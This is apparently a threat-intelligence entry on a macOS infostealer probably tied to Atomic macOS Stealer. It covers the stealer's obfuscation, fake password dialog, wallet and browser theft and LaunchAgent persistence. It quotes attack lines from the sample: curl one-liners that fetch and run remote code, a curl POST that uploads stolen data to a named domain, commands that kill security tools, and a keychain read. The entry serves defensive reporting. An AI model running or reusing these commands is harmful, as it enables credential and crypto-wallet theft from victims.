# macOS Stealer (probable AMOS Stealer relation) caught in the wild - obfuscated AppleScript, fake credential dialogs, LaunchAgent persistence

> Objective-See (Pablo Redondo Castro, 2026-04-01) analyzed a macOS infostealer found in the wild that is probably related to Atomic macOS Stealer (AMOS). It runs heavily obfuscated AppleScript, harvests the login password through a fake system dialog, targets 256 crypto-wallet browser extension IDs, browser data, Apple Notes and documents, kills security tools including Objective-See products, and persists via a LaunchAgent.

- **Published:** 2026-10-31T11:56:07Z
- **Last reviewed:** 2026-10-31T11:56:07Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-4901
- **ID:** TL-2026-4901
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 14 (full data via the Threadlinqs MCP server — Purple tier)

## Description

The sample reached the analyst on a computer delivered for analysis; the original delivery domain had already been taken down, so the initial lure that caused the victim to run the command is not documented in the sources. The first stage is a 'curl + base64 decode + zsh' one-liner: curl -LsfSk $(echo '<base64>' | base64 -D) | zsh. The base64 string decodes to https://rvdownloads.com/curl/9e64e3b1e0547a3195541f838099fa002cf75cbc125d3bb90cd9649f8e85c602. A later stage runs 'curl -o /tmp/helper rvdownloads.com/frozenfix/update; chmod +x /tmp/helper; /tmp/helper'. The helper executes two different AppleScripts.

The AppleScript is heavily obfuscated: more than 400 encoded variables (gmeaaapd0 through gmeaaapd434) are turned into readable strings by three arithmetic decoder functions (ssooouzowk() subtraction, uyvhofylsr() addition, ljmhoouy() subtraction with offset), for example 258 - 143 = 115 = 's'. Before stealing, the malware checks for virtual machines and analysis environments (QEMU, VMware, KVM indicators and hardcoded Mac serial numbers, via system profiling). The serial-number check matches an AMOS methodology previously documented by Trend Micro.

Credential theft uses a fake system dialog ('Application wants to install helper... Required Application Helper. Please enter device password to continue.'). The entered password is validated against the keychain and stored in ~/.pwd; ~/.username and ~/.marker are also created. The script reads browser secrets with commands such as 'security find-generic-password -ga "Chrome" -w'. Targets are Chrome, Brave, Edge, Opera and Firefox (passwords, cookies, autofill), 256 hardcoded cryptocurrency wallet extension IDs (including MetaMask, Phantom, Coinbase Wallet, Binance Wallet, OKX Wallet), the Apple Notes database and attachments under ~/Library/Group Containers/group.com.apple.notes/, and Desktop/Documents files with extensions .txt, .pdf, .doc, .docx, .xls, .xlsx, .key, .pages, .numbers (30MB maximum).

Before collection the malware kills security tooling: killall -9 "Little Snitch", killall -9 "BlockBlock" and launchctl unload ~/Library/LaunchAgents/com.objective-see.lulu.plist. Data is staged in /tmp (including /tmp/update_[0-9]+/), compressed to /tmp/archive.tar.gz and uploaded with curl -X POST -F 'file=@/tmp/archive.tar.gz' https://laislivon.com/upload. Persistence is a LaunchAgent at ~/Library/LaunchAgents/com.apple.mdworker.plist (labels com.apple.systemupdate and com.apple.mdworker reported) with RunAtLoad and KeepAlive set to true, embedding the entire obfuscated script inline so the chain re-runs at every login.

Attribution: the source and the hunt rationale describe the link to AMOS as probable, not confirmed. The basis is infrastructure and tradecraft overlap: Squarespace-hosted domains used as command source were previously seen in AMOS campaigns, laislivon.com is linked to earlier AMOS operations, and the VM serial-check approach matches prior AMOS analysis. AMOS is a commercial stealer sold on Telegram (Sophos: price rose from $1,000 to $3,000 per month between May 2023 and May 2024), so no specific actor is identified. No CVE or CVSS is associated; severity is an analyst judgment.

## MITRE ATT&CK

- T1059.002 AppleScript
- T1059.004 Unix Shell
- T1543.001 Launch Agent
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1685 Disable or Modify Tools
- T1036.005 Match Legitimate Resource Name or Location
- T1497.001 System Checks
- T1056.002 GUI Input Capture
- T1555.001 Keychain
- T1555.003 Credentials from Web Browsers
- T1539 Steal Web Session Cookie
- T1082 System Information Discovery
- T1005 Data from Local System
- T1560.001 Archive via Utility

## Sources

- [Catching macOS Stealers in the Wild ...or how I became threat hunter by accident (Objective-See)](https://objective-see.org/blog/blog_0x88.html)
- [Catching macOS Stealers in the Wild (cmd + R(esearch), author's own blog)](https://cmdresearch.bearblog.dev/catching-mac-os-stealers-in-the-wild/)
- [MacOS Stealers, Observed: What Defenders Should Watch For (SOC Prime)](https://socprime.com/active-threats/macos-stealers-observed-what-defenders-should-watch-for/)
- [Atomic macOS Stealer leads sensitive data theft on macOS (Sophos X-Ops)](https://www.sophos.com/en-us/blog/atomic-macos-stealer-leads-sensitive-data-theft-on-macos)
- [BeaconBeagle C2 config search for laislivon.com (no matches at time of query)](https://beaconbeagle.com/api/v1/configs/search?domain=laislivon.com)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-4901